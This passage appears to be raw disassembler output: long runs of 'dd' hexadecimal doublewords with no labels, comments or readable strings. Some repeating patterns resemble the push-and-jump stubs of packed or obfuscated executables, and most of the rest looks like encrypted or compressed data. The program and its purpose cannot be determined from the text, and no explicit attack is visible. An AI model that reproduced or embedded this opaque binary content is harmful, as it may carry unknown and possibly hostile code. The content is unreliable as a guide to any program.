		dd 80493A68h, 0F9816BCCh, 0FFFF8CC4h, 1D850Fh, 0C3810000h
		dd 3AB87A29h, 2AE9h, 0C44E9000h, 0F6AF7FCCh, 0FE8083E8h
		dd 0C2EB6B18h, 0B8B96020h, 612264A1h, 0FFFF76E9h, 0DDAB43FFh
		dd 0A9E947A0h, 5B793252h, 0EB8355A0h, 9E7D0079h, 0E2218CEFh
		dd 0ABAFD60Fh, 4DB2979Fh, 95B7E37Ch, 0A9E57200h, 0B69CB5E9h
		dd 0F377609Bh, 0B794A9B6h, 60D7609Eh, 0A9BD897Dh, 9EBD8C9Eh
		dd 95ACE372h, 0B98B204Ah, 89937E9Bh, 0F496B99Dh, 0A19E96AFh
		dd 0A7D6B594h, 0D100FD91h, 594ACC48h, 713C33h, 57DB4D52h
		dd 0B7D65EF3h, 0F600B79Bh, 8995ABAFh, 56F0009Fh, 0B3D7C771h
		dd 711800BEh, 0ADC4D756h, 3B3F73E2h, 82E97EEEh,	6800000Fh
		dd 652F914h, 0FA8898E9h, 0FA0068FFh, 8EE90652h,	68FFFA88h
		dd 652FAC8h, 0FA8884E9h, 0FC0D68FFh, 7AE90652h,	68FFFA88h
		dd 652FC84h, 0FA8870E9h, 0FD1668FFh, 66E90652h,	68FFFA88h
		dd 652FDD1h, 0FA885CE9h, 0FE9F68FFh, 52E90652h,	68FFFA88h
		dd 652FF61h, 0FA8848E9h, 668FFh, 3EE90653h, 68FFFA88h
		dd 6530168h, 0FA8834E9h, 42068FFh, 2AE90653h, 68FFFA88h
		dd 6530516h, 0FA8820E9h, 0AC5218FFh, 4FF5C0A0h,	0F3996343h
		dd 943A07E7h, 39DFA888h, 0D4852B2Dh, 7959650Bh,	20000CB2h
		dd 0C2A2AE54h, 0B14854FAh, 29CBB5E4h, 5B66D4FCh, 1AAD751Bh
		dd 6BDCA94Fh, 0FD73502h, 0FCC62469h, 96F30756h,	0D456623Fh
		dd 0BF8A6F0Dh, 8DF69C69h, 771DEA48h, 9DEA39AAh,	38375D6Eh
		dd 0BE8BF4D1h, 0D9D43571h, 0E81CC289h, 5A244419h, 0CDFC4BB4h
		dd 0D501BCA7h, 0C79427EFh, 7AE35421h, 0E2884FADh, 5212FE15h
		dd 4B1B34D1h, 0FD66D4A8h, 0B6212391h, 0B65B8CACh, 414Bh
		dd 0AEC80400h, 0B288B18Fh, 0F88B53A2h, 1B4A8FDDh, 0D1382068h
		dd 0DE2B70D9h, 220D1AFh, 0A8F760D5h, 20D0A4D3h,	42B0D502h
		dd 424FD702h, 0EC6CB65Bh, 25000000h, 0AF5670E9h, 0D52B941Fh
		dd 2798650Bh, 0AD7510D8h, 0A0ED3A07h, 4F210F71h, 6AB922DBh
		dd 589D430Ch, 0BB882EFAh, 87F0965Dh, 3D056338h,	0A46CCA97h
		dd 616AE622h, 19813119h, 4F1B8EF2h, 854DA3DBh, 542076DFh
		dd 770E1AEh, 1F214AFBh,	9D65DB4Fh, 0BE1CEBF7h, 0E7F4CF2h
		dd 179961BFh, 2148EEB9h, 0DB4F175Fh, 330069D2h,	0AAEF7D58h
		dd 383E747Bh, 28349DD1h, 1D620ACBh, 0F2A9A1EEh,	0BAE936CAh
		dd 0CEB23BC6h, 0E0B3026Bh, 0A9E53277h, 4EDC7CA7h, 0F6DBC98h
		dd 0B494A046h, 992D45EBh, 139878AEh, 0CD8203Eh,	0C3890000h
		dd 6631111Dh, 0AD4B4C0h, 0AB785864h, 5019F905h,	149C9EAAh
		dd 0C8D47A43h, 6F7B21E8h, 111DC38Fh, 0B7C36931h, 5C245320h
		dd 0D5D4FC27h, 0AC758ACAh, 0DFAC5219h, 19F9056Eh, 0ED6CE051h
		dd 4522E917h, 0F886D0DCh, 0FD4A8FDDh, 20FF81B0h, 0DEA7DB4Fh
		dd 0B5046D38h, 3820FD86h, 0EDB44D1h, 22095DFh, 0C77DEBD5h
		dd 5B420A1Ch, 0B5B1B6h,	0C6A0000h, 874F9E44h, 3A07AD75h
		dd 0A06D13DCh, 4F24FA71h, 1EC48CDBh, 0C46A3212h, 0B6E5327Fh
		dd 0DB4F1CCAh, 0A9D7FE67h, 88DB4F1Ch, 20FBD01Fh, 1472B7B5h
		dd 0A57A64Ch, 0EE945FBDh, 437F709Fh, 2992D138h,	1B124E1Dh
		dd 6A87246Fh, 0EF8D94BCh, 78E15C4Dh, 0E5874E29h, 810F71A0h
		dd 0B922CAF2h, 0A74D1674h, 81F2BB9Bh, 48164229h, 45EBB5A5h
		dd 8D5B73DCh, 379879B9h, 0BEC4462h, 0AF750000h,	521DFD09h
		dd 0F6C0A0ACh, 97644450h, 3C05E5F1h, 60888A96h,	0B4C0662Fh
		dd 5B670DD4h, 0FD09AF7Bh, 0A3AF551Dh, 70103F0Ch, 0C1D4FC26h
		dd 0AC7576B6h, 521AFA06h, 7556A0ACh, 0A84E1AADh, 34016ADBh
		dd 5C680ED6h, 3F0CB27Ch, 677319E1h, 0EAEBC804h,	510E3D82h
		dd 0A0D13847h, 0CD97F4Ah, 0C1EA329Bh, 0BAA82AB2h, 0B9FE6E67h
		dd 60F5518Ah, 0F237A0D3h, 0D77D47A5h, 2A9DD0B0h, 0A2F861D7h
		dd 0F56633D9h, 3784D1A6h, 2A9D7808h, 150B9D7h, 78BDAF26h
		dd 0F750EF2Bh, 0E7C60313h, 0AD646998h, 84EDCD17h, 34B6F23Fh
		dd 0C3000B33h, 0D9A1FF4Eh, 1C582733h, 0D7AC7997h, 0AA08572Eh
		dd 5A243CE2h, 0F69E9107h, 0B240321h, 773D0000h,	1AE5C5D1h
		dd 0BE886874h, 5F2C0C18h, 4CDADB9h, 5850525Eh, 7C882EF7h
		dd 232FD59Ch, 0C5D17743h, 6B771DE5h, 0A8D807D4h, 89D4FC26h
		dd 28863E7Eh, 9A65BB61h, 7F47A5F4h, 0A4310CD9h,	5B5483C8h
		dd 0B6D1382Dh, 0F1E4414Dh, 1610709Fh, 0B821D502h, 0DFAC0A4Fh
		dd 6E9DEA39h, 0CAEB3109h, 0B3E2AF18h, 0CEB4FAC1h, 0E81351BFh
		dd 0BC8C645Eh, 417Dh, 0DDF8BB00h, 0C1FD4A8Fh, 0AA71AEACh
		dd 2CF8D004h, 87D80756h, 6AD1380Dh, 925EBC01h, 532FE0ECh
		dd 53D50171h, 53A0E58Bh, 0CDC3B217h, 3960858Eh,	0D5021E47h
		dd 1E3281EAh, 0FFCC723Eh, 0A71E1h, 0DDF89700h, 0E60E4A8Fh
		dd 0DC755D0Fh, 0A3986D5h, 0D1214D7Ah, 0BB195EC7h, 61414DF3h
		dd 4B26F399h, 6E9DE28Ah, 0CACE5733h, 0C31055BEh, 69394776h
		dd 8FF8CEA8h, 981AE240h, 0A86A1769h, 3065B1CEh,	8B2E6BAh
		dd 0B5E093Dh, 0F577F5E5h, 80DE238Ch, 0D24310B6h, 0C78F6F83h
		dd 0A9075421h, 4F3160E2h, 0E2CEA8E8h, 0E6C11079h, 0EB387DEFh
		dd 5E22519Eh, 0D3CEA8E8h, 0E83D436Ah, 8BF4CEA8h, 0C7A0D3Ch
		dd 71C7C492h, 7F9700A6h, 861704A5h, 0DF547247h,	82000009h
		dd 2A0A16BCh, 0CDADB95Fh, 71515D03h, 12F2FEA4h,	9597A349h
		dd 0CF753E13h, 761CE3C3h, 18BE8A6Ah, 0BE642C0Ch, 1F4E1BB2h
		dd 0D4FC2461h, 0A485C5D0h, 0DB4F20D0h, 9BE08C49h, 22183D6Ch
		dd 165BC4D1h, 54AF0B8h,	2AF789B8h, 0D13AD4FCh, 0C68E6E82h
		dd 5D785320h, 0A46CCA0Fh, 3362AFFEh, 0CAE5367Ch, 5F215095h
		dd 0D2CEAF1Eh, 3AE80069h, 0A698445Ah, 968B3D1h,	33F90000h
		dd 0D6A1818Dh, 7A442430h, 1BE8C8D4h, 0C0896975h, 0E40C0E1Ah
		dd 3844EAB3h, 0DFEB9158h, 818D33FFh, 2733D9A1h,	0EC94C390h
		dd 45D4FC24h, 4A86FA3Ah, 840AE819h, 1977C65Eh, 0E0A0CF51h
		dd 51DB4ECEh, 54B27FE8h, 919E68Ch, 0ACB62123h, 4BB0166Ch
		dd 3BAh, 8FDDF889h, 17921B4Ah, 3A7FD122h, 0FC29750Bh, 0EA53BCD4h
		dd 0D97F47A5h, 7F25EDCDh, 29F183B2h, 0AD28D4FCh, 0F65F05D2h
		dd 362D82B1h, 7BE4CAE5h, 445ABD63h, 24421798h, 8D6h, 131FC58Bh
		dd 0B6C26833h, 5A660CD6h, 0FB07AD7Ah, 0A0AC521Bh, 7C450A9Eh
		dd 23EACAD6h, 0C591717Dh, 6B33131Fh, 5522B9C5h,	0FC235A26h
		dd 8CCCD7D4h, 760A3986h, 0BBDB4F20h, 0A2DE0D52h, 8FDB4F20h
		dd 0B179D726h, 9E68C60Bh, 6BBA2BF8h, 0CA703896h, 5D07EDFDh
		dd 163E80A2h, 32037B0h,	86750000h, 20760A39h, 52BBDB4Fh
		dd 20A0D403h, 0BA07DB4Fh, 4F20F58Bh, 84D33CDBh,	0FB402CA9h
		dd 22179BCCh, 0C68EECD1h, 0CAFED120h, 9D36022Dh, 348B148h
		dd 0E16CDDA5h, 0DEC59E3Ch, 0D4B4C029h, 4C99660Ch, 2D7C22EEh
		dd 0A4E98352h, 0E5643A75h, 566ED7CAh, 987B8CBCh, 1B0D2B00h
		dd 46000008h, 0EECEDA80h, 91717D23h, 351521C7h,	0D6B6C268h
		dd 595B670Dh, 93390257h, 3AE0A787h, 0DC824E2Eh,	8228F0D0h
		dd 0E312DF76h, 0D4FC239Dh, 75498994h, 0DC3A07ADh, 43A16E14h
		dd 0A503D076h, 0C6A37DDh, 0C12F9D43h, 5F454D83h, 3E68FAE5h
		dd 6EAAB016h, 1CE9E49Ah, 0D37941D4h, 63B31B6Ah,	6C000002h
		dd 99B3630h, 73C20888h,	20D0A4ABh, 8C49DB4Fh, 0F04E9BE0h
		dd 45B68329h, 0FAFD6511h, 0D12075EEh, 21FDCCA2h, 97DC45D1h
		dd 0BFCB7139h, 0C74A3F0h, 25D4FC10h, 470F6DBCh,	0FEA96C5h
		dd 1347D4FCh, 0CB3EA825h, 0AD167F5Dh, 0AFD005E0h, 93D841E7h
		dd 0E4DEAB64h, 0B0DF2CCAh, 0CEAEC2D0h, 0D6A9F861h, 6B7556Dh
		dd 20F59844h, 74D02h, 0A84E1400h, 4BF1BC9Ch, 0EF955F3Fh
		dd 903603E3h, 35DBA484h, 0D0812729h, 75556107h,	1CFC08AEh
		dd 0BE9EAA50h, 0AD4450F6h, 22CFB1E0h, 5762D4FCh, 7AD7517h
		dd 6E14DC3Ah, 0FA7C43A1h, 4F20B5CBh, 0AA137CDBh, 0DB37FDDh
		dd 7AEA5040h, 3E268C74h, 515D03CBh, 1642D969h, 7FEB0h
		dd 0B53C0000h, 192h, 20DAA46Bh,	7FDDDB4Fh, 0AD5320B3h
		dd 0B0067744h, 1723FE5h, 6EFED7B2h, 1779FA29h, 74A8D122h
		dd 46206A43h, 165BC45Ch, 0F645EBB8h, 0DD834BA9h, 8329F1D1h
		dd 72FADBB6h, 0B782E02Dh, 4EB75D24h, 0E33FD0FFh, 0CD12CAE5h
		dd 0AFC6E29Eh, 32F94FCEh, 0A2BA238Ch, 987B029Ch, 8B456338h
		dd 0D6000006h, 7E5E6A10h, 21010DB3h, 0C5A5B157h, 664652F8h
		dd 0E9EBF79Dh, 23C992C7h, 0CA703717h, 6C12DEBEh, 12B88060h
		dd 73A26F06h, 0D4FC220Dh, 75D91924h, 0DC3A07ADh, 0B1A16E14h
		dd 1EE6194Bh, 0E2846C78h, 19B01642h, 7,	0E4B557h, 0A46B0000h
		dd 0DB4F20D9h, 0A2E78550h, 892FF755h, 0CDFC4BBCh, 0D12217AFh
		dd 38DEAA08h, 86B5FA6Bh, 0D4FC29FAh, 0AC7FCE37h, 0D8A0FE43h
		dd 7E462632h, 82BE0BD8h, 3B3BEB44h, 9137029Ah, 0D7FED928h
		dd 0D23BE1A8h, 1BB15E8Dh, 37A0CAE6h, 7B79011Fh,	0B8D6AB98h
		dd 5E6h, 30FB57Bh, 0A6B25823h, 4A56FCC6h, 0EBF79D6Ah, 909C420Bh
		dd 6C351A8Eh, 13DABAC6h, 0B581616Dh, 5B23030Fh,	4512A9B5h
		dd 0FC206A16h, 7CBCC7D4h, 0B95F2886h, 0CE2C7BECh, 35936006h
		dd 2482C76Dh, 76E7B45Ah, 1B625227h, 0FF4EF4BDh,	662ED193h
		dd 0BACCB4C0h, 61B01642h, 7, 2CB59Fh, 756B0000h, 0DC3A07ADh
		dd 43A16E14h, 0A907D47Ah, 0D6B38DEh, 60D19E44h,	0A42A1A80h
		dd 699CC836h, 20EFFBA1h, 453F9C2h, 27E6h, 0AD759C00h, 680B3A07h
		dd 85DB4F20h, 7038AB99h, 0EB3885CAh, 4F20C4BCh,	0DD046DDBh
		dd 0DB4F20A3h, 0C8933903h, 0B2FC105Fh, 0BA602886h, 0CF2D7CEDh
		dd 5AB7407h, 0DB0A579Ch, 0DB4F20A5h, 0AFDE238Ch, 0DB4F20D1h
		dd 0D3A8F760h, 0BA602886h, 522D7CEDh, 75A4E983h, 0D122180Fh
		dd 0EB915AB8h, 8B5EAD1Eh, 3290DD22h, 1876C56Bh,	0BE9EAA50h
		dd 2B4985F6h, 0CA992036h, 0CCA5B396h, 0D53E34F0h, 0CBCC5490h
		dd 3EA3D057h, 963F1AEFh, 3F6291D6h, 38CACF2Ch, 1A690FDAh
		dd 3B99DE47h, 0F2C1CD73h, 3F0A76A5h, 0D7BECEA9h, 32174870h
		dd 54A30CD7h, 0BB882EF6h, 0C28AF5E0h, 75DE4F1Ch, 0F0860130h
		dd 0F441C492h, 5CA8BBC5h, 0BE0D76C8h, 0C06A82EBh, 0EC861620h
		dd 484F917h, 17DD0000h,	0BA856571h, 5E280814h, 0FFCCACB8h
		dd 0A46D4D59h, 0F8F0F2FEh, 1C28CE97h, 0C3CF753Ch, 657117E3h
		dd 0B17BD85h, 878A774h,	29D4FC20h, 0AD75DE1Eh, 0DF2CFB07h
		dd 4F20D0B0h, 0A2F861DBh, 86E433D9h, 0FE4B18BEh, 0E433D9A0h
		dd 4B18BE86h, 0AD4FF55Bh, 204F3160h, 79E2DB4Fh,	5E04CC2Ah
		dd 42D86A52h, 0BC1AB016h, 92FA49EFh, 5Fh, 0A2DDF8D0h, 0F56633D9h
		dd 4718478Ch, 30D1386Eh, 79A7A6F4h, 8A847B9Fh, 788CC02Eh
		dd 9467B6AAh, 6A99E62Bh, 0D5014516h, 450E72A1h,	0BA23D501h
		dd 0EA3786EFh, 0E1AC08Ch, 145255Dh, 13B981D5h, 0FFA570CEh
		dd 5E72C132h, 3F0CB27Eh, 4ACC94F2h, 144651Bh, 0FA63CCD5h
		dd 3B88DABh, 0F8430000h, 0E4A8FDDh, 844D09F0h, 6CA011DEh
		dd 0DD33C11Bh, 0D21F6E14h, 375E50A3h, 9B68D1D1h, 1404753Dh
		dd 14540F3Bh, 0CB01669Ah, 323BF842h, 1886FCC9h,	0D3993C2Ch
		dd 6E12418Eh, 49D500D4h, 0D4661Ah, 9762CBD5h, 6392DF2Eh
		dd 0CAEA0190h, 631D4C91h, 0CECEB3A9h, 0A1470F65h, 0B5FA63D4h
		dd 6FBC1079h, 0A3F2345Ch, 0C9A3328Fh, 0FB9E5584h, 1A83C49Ch
		dd 5AB77D5h, 0BA83E1B6h, 42264714h, 0F9736202h,	0D06E85B4h
		dd 5DB3BE4Fh, 7A86EF95h, 733FD29Ah, 9AF77CDh, 0AD75D3A0h
		dd 5A86C207h, 746CC9B4h, 8C5B6FBEh, 849FFF50h, 0A6FC3C4Eh
		dd 0F76835DBh, 9908CDA8h, 36E7DD58h, 64BB4F0h, 433D6CB9h
		dd 0EEC21988h, 5D2AD098h, 53483ECh, 0B802A4C6h,	2655228Bh
		dd 0BBCC6C4Eh, 0AD77D48h, 703DE3ACh, 12D88CFAh,	631B57A6h
		dd 680EDA41h, 84156634h, 609BC935h, 0AF944DC6h,	4BF5h
		dd 0DDF83300h, 22EC4A8Fh, 0B31CC28Fh, 561F75E6h, 2372E3B0h
		dd 20DCA7D6h, 0F65D138h, 0ED93C244h, 44D50220h,	3C0972DBh
		dd 220670Dh, 0B9AB19D5h, 5B42243Eh, 0EDD3B6h, 3F8C0000h
		dd 22C7010h, 0CE8DC1D5h, 0EF965500h, 0F8C00F78h, 3A07AD75h
		dd 0A06D13DCh, 0C13D1753h, 0FF0A0F46h, 4E84B0D0h, 0AF1881DBh
		dd 0C93A0260h, 6D7118F2h, 5A03B215h, 58EDF25Ch,	5BB986EFh
		dd 30E1ED93h, 0DB4E6A3Bh, 9612834Bh, 4C12AD45h,	0C7A7B31Ch
		dd 0B18C59FFh, 0D4034824h, 0D137EECBh, 50305FACh, 0E1D5018Ah
		dd 562978h, 0DFDFC738h,	7A059460h, 0AB084411h, 4C9A98E1h
		dd 929E0770h, 87CCA035h, 0F27DA058h, 0D31881CAh, 0DD2AAC75h
		dd 0B20DD2AEh, 0CFF65FCEh, 0CEB20DB1h, 0A2AE1780h, 0C88F9C2h
		dd 7B3E7771h, 0F96B83ECh, 0E3987973h, 1CCF00Eh,	0CF950000h
		dd 723D1D29h, 16E0C0CCh, 0B7846470h, 5C250511h,	0A8AAB6h
		dd 0D4E0864Fh, 7B872DF4h, 1D29CF9Bh, 0C3CF753Dh, 50305F2Ch
		dd 0E1D4FC1Ch, 0AC7596D6h, 521AFA06h, 0F856A0ACh, 0E4A8FDDh
		dd 0F7C1215Ch, 0DF138451h, 0B908D722h, 49463D6Ch, 92FBD137h
		dd 49DE96C5h, 0F1B8D501h, 53207E4Bh, 0DDC9E0ADh, 0B6057167h
		dd 1AE78D58h, 76EE5AA9h, 5B95FB8Bh, 0D120B6h, 755E0000h
		dd 0DC3A07ADh, 9ADFA213h, 0E45E2680h, 0EC7FAE7Bh, 9ADB4EFAh
		dd 51202CD2h, 2C8228F3h, 0E6CBB61h, 86D3A046h, 0F2760A39h
		dd 52BBDB4Eh, 408F35FCh, 0B7FC7065h, 38251788h,	6571DAD1h
		dd 0F0D4CD08h, 6EBB7368h, 72A1E64Fh, 0CAF2BDA5h, 881BE63Ch
		dd 0D94A17BDh, 7D45A370h, 30990AD7h, 5B2482C7h,	7CDAA9B5h
		dd 5FBD0CB2h, 91370396h, 61CA703Bh, 78950D49h, 0C4E2B798h
		dd 0D6h, 131FC58Bh, 0B6C26833h,	5A660CD6h, 0FB07AD7Ah
		dd 0A0AC521Bh, 7C450A9Eh, 23EACAD6h, 0C591717Dh, 6B33131Fh
		dd 5522B9C5h, 0FC1B5A26h, 8CCCD7D4h, 0FA06AC75h, 67AC521Ah
		dd 0E29ECD1Ah, 4FDB4F20h, 20C1BFE6h, 770DB4Fh, 77D5A4B8h
		dd 0A64C19ACh, 7526EE3Dh, 0DC3A07ADh, 5626E14h,	0AFCFD1D0h
		dd 849BA654h, 0E5A7D61Bh
		dd 0F2D1220Ch, 5926CC94h, 273DF81Dh, 78E11C6Dh,	20ED5629h
		dd 2A875D3h, 640AD735h,	67BD2697h, 0B728F59Bh, 0C0420A68h
		dd 0FBACEF91h, 20EC42D4h, 9CA8117Ah, 814EF4BCh,	0C8B8E734h
		dd 69D4FBACh, 0D382B100h, 6B3D34EAh, 0DCA447FDh, 824A2A36h
		dd 0E4B10FDCh, 6C50713Eh, 0AA3D05F8h, 0FB6C39DFh, 0DEA68692h
		dd 34D6B38h, 3000000h, 0AF758C54h, 16DE3C09h, 7945A370h
		dd 0E1A806D3h, 47106E3Bh, 0AD76D4A1h, 0FDC3A07h, 743E9C69h
		dd 0D8A301CEh, 52E86532h, 0C281E289h, 4, 3304EA83h, 14312414h
		dd 24143324h, 0E089505Ch, 405h,	4E88300h, 5C240487h, 83241C89h
		dd 2C8904ECh, 75685024h, 582CF429h, 5ECE2E05h, 348150D9h
		dd 123FD024h, 0F3815B7Ch, 7C123FD0h, 2C8B5458h,	4C48324h
		dd 89D98951h, 0C8B084Dh, 4C48324h, 52242C8Bh, 0C281E289h
		dd 4, 4C281h, 14870000h, 1C8B5C24h, 0E3895324h,	4C381h
		dd 0C3830000h, 241C8704h, 7927E95Ch, 3140FFFAh,	0BB8CB9A5h
		dd 611B8EEh, 0C5030653h, 5EE5E0FFh, 0A86053D6h,	8DD446EEh
		dd 0A1943FD8h, 0C4B131EDh, 2E824298h, 0C8B75EE8h, 906E6C81h
		dd 8E4D35E2h, 0AEAE01B3h, 0C1427A59h, 8B76C7Bh,	50AE63CAh
		dd 8D8D5A53h, 653077Eh,	0FEC2F681h, 8D893300h, 64D0599h
		dd 85C7A4B4h, 64D051Dh,	7048h, 0CDF08166h, 0E985C700h
		dd 64D02h, 6A000000h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 17042444h, 46000000h, 9BCBC356h, 0B5FF6D43h,	64D1611h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 0C6C35242h
		dd 571F87D7h, 5595FF88h, 6A064D2Eh, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 16042444h, 40000000h, 91A9C350h
		dd 0FF006AC9h, 4D051195h, 0EBC08B06h, 20B9C10Dh, 0FA4476B1h
		dd 0AE3E243Eh, 7DE9D3ADh, 60000001h, 6C4FFE5Dh,	0D76FC201h
		dd 0EFB4CAD1h, 0E45B7E41h, 6D5D9752h, 44FCA3FBh, 0A59EB992h
		dd 95BCD792h, 93B9E4h, 0F49DB2CBh, 0FC9CACA3h, 0D2009EB9h
		dd 73AFC945h, 55FC00EEh, 599CBA97h, 0B2A4E56Dh,	47FEACFFh
		dd 0C45657F6h, 0F600CCD4h, 0F78F7DB5h, 97539549h, 45C9BCFAh
		dd 0A1915CCDh, 0ACE56Ch, 100h, 43h dup(0)
		dd 3736D1F8h, 0D3C20DA4h, 7E8BDDC3h, 1071E9h, 0B186800h
		dd 53E90653h, 68FFFB38h, 6530C20h, 0FB3849E9h, 0DD368FFh
		dd 3FE90653h, 68FFFB38h, 6530EA7h, 0FB3835E9h, 100F68FFh
		dd 2BE90653h, 68FFFB38h, 65310F1h, 0FB3821E9h, 11E268FFh
		dd 17E90653h, 68FFFB38h, 653124Dh, 0FB380DE9h, 131B68FFh
		dd 3E90653h, 68FFFB38h,	65313C0h, 0FB37F9E9h, 145568FFh
		dd 0EFE90653h, 68FFFB37h, 6531531h, 0FB37E5E9h,	15DB68FFh
		dd 0DBE90653h, 68FFFB37h, 653173Ch, 0FB37D1E9h,	182768FFh
		dd 0C7E90653h, 4AFFFB37h, 36E6884Eh, 25D57761h,	18C86A6Eh
		dd 8B85A7Ch, 11AA4C8Ah,	9C3A58DBh, 894F4AFAh, 775F37E7h
		dd 687025D5h, 1B0159C6h, 9944966Dh, 9D8E5BEAh, 0AB0BE0F8h
		dd 8DBD6B51h, 41FB92F1h, 195E8631h, 135C0DB8h, 8628B0E5h
		dd 0B088F6C0h, 3F8BF1CAh, 0E8BD6E99h, 3F8B4AFCh, 5A93E599h
		dd 5200E640h, 0CF993F8Bh, 0A35DD51Eh, 49134BDAh, 49h, 52BD8784h
		dd 0DE59640h, 47A204A1h, 0A6EF7961h, 27C7684Eh,	9344993Fh
		dd 2820D2BEh, 0FA9A993Fh, 0C5D107DCh, 0A72F6311h, 0CC1DE7D2h
		dd 0D91264F1h, 0D0088FBFh, 0BA710F87h, 4AB6134Bh, 44801C5Dh
		dd 6275BE0Bh, 0F5h, 0C807739Dh,	0CE2F1747h, 1ECF098Ch
		dd 1122E034h, 0FE47FADDh, 3E13C5D0h, 0EEE8AEDEh, 2208E019h
		dd 92F26E74h, 0C9F740F1h, 2380DC9h, 3A704593h, 0C270565Bh
		dd 3F92F26Eh, 0D53BDD8Eh, 92F272F5h, 10B2266Fh,	48F6DC36h
		dd 9892F272h, 0F27304B2h, 25D08192h, 98FD2B74h,	5A386840h
		dd 12C4CE7Ch, 66BB043Dh, 17C1D606h, 7CC00942h, 874F47B2h
		dd 0F0C879B2h, 0C8F58984h, 0FE474BCBh, 0E783C0A6h, 4F00993Eh
		dd 0AF1DE7ADh, 9E54F1D7h, 20D19F8Eh, 5C7A1848h,	971B1884h
		dd 8F8F375Eh, 1A4A2446h, 0E6145D7Bh, 6D6F2AACh,	85807739h
		dd 0DC3DF30h, 0E3B50000h, 0F6A151F3h, 39040E2h,	118333D5h
		dd 1F7323C5h, 467C15B7h, 6B0DC9C9h, 58FADEBBh, 46E8EEA8h
		dd 37D9FF96h, 0DE8C72CAh, 5B994498h, 1973FFCCh,	0F18D8533h
		dd 8510292h, 7C1EB8DAh,	6D0FC9CCh, 28BD87A6h, 0F18D9442h
		dd 0AF601192h, 2FD86BD7h, 0D6787A07h, 81DB358Dh, 0F206ED9Bh
		dd 0D3CB2B92h, 0BA6C401Ch, 31155E0Fh, 993EE090h, 0A0385F0Dh
		dd 0CE192CBh, 3EE06E20h, 76B70999h, 4B734444h, 0DB3013h
		dd 9D6B0000h, 0D50BE0F8h, 584419BDh, 92F19278h,	9335A3F2h
		dd 0CB0B89B9h, 9A415482h, 0D009DEF8h, 34FE4A1Fh, 3BCFD0C9h
		dd 0EEAD6CF3h, 0FBD38435h, 3EBFD815h, 2EBC2899h, 0D17F65E7h
		dd 4E993F5Ch, 0C41FB39Dh, 64154089h, 0C732FCC2h, 7F5708D0h
		dd 8EEDEB99h, 8C0B3B9Fh, 0F53E774Ch, 114119CAh,	0D9B35581h
		dd 7DC42E6Dh, 9F3F689h,	91B352h, 0F5236CA2h, 867E399Dh
		dd 8A807794h, 0CBBE435h, 0DBBD0000h, 0EEA959FBh, 0FB9848EAh
		dd 98B3BDDh, 177B2BCDh,	4E841DBFh, 7315C1D1h, 6002D6C3h
		dd 4EF0E6B0h, 3FE1F79Eh, 0E6947AD2h, 63994499h,	0F59D07D4h
		dd 68F3FE1h, 4116C2D5h,	0DBB55708h, 93412781h, 1092F18Dh
		dd 8D4DFB5Fh, 0B79D92F1h, 92F18E09h, 7C2AD586h,	0C20BBC1Ah
		dd 1807737Dh, 41FF473Ch, 0B3E21059h, 771D4D25h,	0F0E8B15Fh
		dd 791C52A7h, 2DF7BD5Fh, 5D8DE7BFh, 8FC89D39h, 0E8316246h
		dd 0FDAE993Eh, 0E88A3C28h, 0D325993Eh, 7BA0609Ah, 0D707134Bh
		dd 0E471CBCh, 84B2C5h, 87ED0000h, 944252BDh, 0CE0A89BFh
		dd 0B15F451Dh, 2E92F18Dh, 0EF4CC7Dh, 993E98F5h,	0B9E9C172h
		dd 3D9BFCDDh, 0A97E2F68h, 72D22770h, 937AC18h, 0F7C79F6Ah
		dd 3F3DE593h, 36786299h, 0B2F58B19h, 8569B263h,	993F60D3h
		dd 0A9D31C6Eh, 134BF7EFh, 3195h, 0BD87D000h, 3891774Fh
		dd 88993EBEh, 5251011Ch, 3EE4BE6Ch, 0A08A3B99h,	0F740C0C2h
		dd 5A461BCCh, 993F4EA8h, 7EB8F143h, 134BE182h, 76Ah, 0C282A500h
		dd 3D000008h, 87544373h, 0BCF5CA0Eh, 0B47EC20Bh, 0DC886E46h
		dd 59994496h, 0A76D0A8h, 201DA1C8h, 25539CBBh, 0AD5B4170h
		dd 2A994529h, 7626C879h, 84E4B91Fh, 0FD984354h,	1C552ADBh
		dd 57C58FD3h, 317C997Fh, 48F99F98h, 83554070h, 0BD197BABh
		dd 0F3A25274h, 5328AEE8h, 3494691Ah, 58A8FDC8h,	8AC3983Eh
		dd 0A3A227A0h, 0DE4C165Ah, 347B2006h, 0EF8A5E5h, 0A4F59774h
		dd 34114A34h, 1FD00690h, 0DEC5B36Eh, 60B586CCh,	0B080Fh
		dd 0AE287000h, 9D3B5C0Ch, 90484BFBh, 80563EEEh,	72642EDEh
		dd 7E0137D0h, 7020C214h, 5D0DAF29h, 4BFB9D39h, 7FEC8E4Ah
		dd 9A934127h, 81109944h, 8E35E7B4h, 2B8592F1h, 0F18E9745h
		dd 1A631492h, 0C69E0CD6h, 449624E0h, 4EF0A199h,	7850BE88h
		dd 0DB894F48h, 7FD720B8h, 7A8B925h, 644CDCDBh, 0AA83371Bh
		dd 4F009F97h, 0A8B11D77h, 0D3F7CB37h, 0ABEA1861h, 52CA1FF4h
		dd 7425DAC9h, 0B0266C9Ch, 954567h, 0EDB703D8h, 0ACC1A77Fh
		dd 29A5EB70h, 90CA3F3Fh, 4F3956B1h, 5308A1E7h, 360EBF52h
		dd 73488E06h, 6999F13Ah, 300AAC2Ch, 0FA439500h,	3A0FC9CCh
		dd 0EAC69E4Eh, 0CA380225h, 0CC7F0CF2h, 4EFC2C37h, 85BE9345h
		dd 0C3519D4h, 0BC110D20h, 0A346Bh, 82544400h, 716730E0h
		dd 64741FCFh, 548212C2h, 469002B2h, 5AD50BA4h, 4CFC9E38h
		dd 39E98B4Dh, 27D7795Dh, 5BC86A6Eh, 9B6F1D03h, 5DEC9944h
		dd 28BD8790h, 0F18D9442h, 0AF601192h, 484D7DD7h, 191BE57h
		dd 1FD02574h, 0E4C8114Ah, 9944A128h, 0EC1CF4A5h, 726432A9h
		dd 266F1FC1h, 117DDDB2h, 7317A5D4h, 3F25FDD0h, 99458691h
		dd 0D0145D0Eh, 0DFF79B06h, 7126562Eh, 10599267h, 8F22D2B8h
		dd 0C79F9F98h, 988E33E1h, 4EFFB09Fh, 894F4676h,	0C41481B1h
		dd 0F8DEB6EFh, 9F988E4Ah, 0ABCD16C7h, 663E9AFBh, 8E78260Ch
		dd 0A2F29F98h, 8FD88934h, 0EDAADA3Ah, 94DD16EBh, 40188650h
		dd 0EB966D5Ah, 6139EAA5h, 9C746431h, 1D8BCC30h,	0DA231099h
